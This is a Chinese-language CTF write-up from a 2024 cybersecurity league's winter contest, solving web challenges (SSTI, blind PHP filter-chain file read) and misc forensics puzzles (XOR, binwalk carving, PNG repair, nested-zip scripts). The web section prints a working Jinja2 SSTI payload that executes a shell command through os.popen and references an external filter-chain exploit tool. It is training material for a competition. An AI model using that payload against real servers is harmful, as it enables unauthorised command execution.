2024年春秋杯网络安全联赛冬季赛wp-1.17

[TOC]

web

easy_flask

考点：ssti 注入

打开网页，发现有个登录，试试直接登录

看到 url 处是进行 get 传参，试试 111

联想到 ssti 漏洞，于是用9验证一下，发现就是 ssti 模板注入

进行 ssti 模板注入漏洞一系列，构造 payload:

1	{{cycler.next.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

flag{48ad0cde8345c8b2608933ac4e85147e}

file_copy

考点：无回显，filter协议

根据代码，可以看到是post传参，参数是path。（抓包也可以看）

直接使用脚本（https://github.com/ProbiusOfficial/PHPinclude-labs/tree/bbb08b030623d481be51edea063433b8d77b2ee7/Level 17/php_filter_chains_oracle_exploit-main）

flag{894272cc-8e8d-47f7-9565-39636508492a}

Misc

简单算数

考点：异或

直接进行字符串异或，得到 flag

flag{x0r_Brute_is_easy!}

See anything in these pics

考点：文件分离

解压后是一个二维码和一个压缩包

扫描二维码，得到解压缩包的密码

解压后得到一张 jpg 图片。先放进 010editor 看一下，发现隐藏了文件

用 binwalk 探测，然后提取，得到一张 png 图片

放进 010editor 查看，可能宽高被修改过，于是修改宽高得到原图

flag{opium_00pium}

简单提取镜像

考点：流量分析，数据修复

解压文件得到一个流量包，进行流量分析，导出文件，得到一个 zip 文件

解压 zip 文件，得到一个破损的 img 文件，根据提示，可能可以使用 RR-Studio 工具修复。

可以直接进行文件分离，得到一个 excl 表格，得到 flag

flag{E7A10C15E26AA5750070EF756AAA1F7C}

压力大，写个脚本吧

考点：脚本编写能力

很明显是有密码的套娃压缩包，直接编写脚本解密

import zipfile
import base64
for i in range(99,0,-1):
    i=str(i)
    zipname = "C:\\Users\\Lucky\\Desktop\\春秋杯\\misc\\压力大，写个脚本吧\\zip_"+i+".zip"
    passwd_path = "C:\\Users\\Lucky\\Desktop\\春秋杯\\misc\\压力大，写个脚本吧\\password_"+i+".txt"
    passwd = open(passwd_path, "r").read()
    passwd = base64.b64decode(passwd)
    print(passwd)
    ts1 = zipfile.ZipFile(zipname,'r')
    ts1.extractall(r"C:\\Users\\Lucky\\Desktop\\春秋杯\\misc\\压力大，写个脚本吧",pwd=passwd)
    ts1.close()

提示是 png，然后我们将 password_0.txt 的密码进行 base64 解密

1	89504E470D0A1A0A0000000D494844520000019000000190

发现是个 png 文件头，所以这些密码应该组合在一起就是一张 png 图片。脚本直接放

import base64
stringall = ""
for i in range(0, 100):
    i = str(i)
    passwd_path = "C:\\Users\\Lucky\\Desktop\\春秋杯\\misc\\压力大，写个脚本吧\\password_"+i+".txt"
    string = open(passwd_path, "r").read()
    stringall += string
print(base64.b64decode(stringall))

得到一张二维码，直接扫，就得到了 flag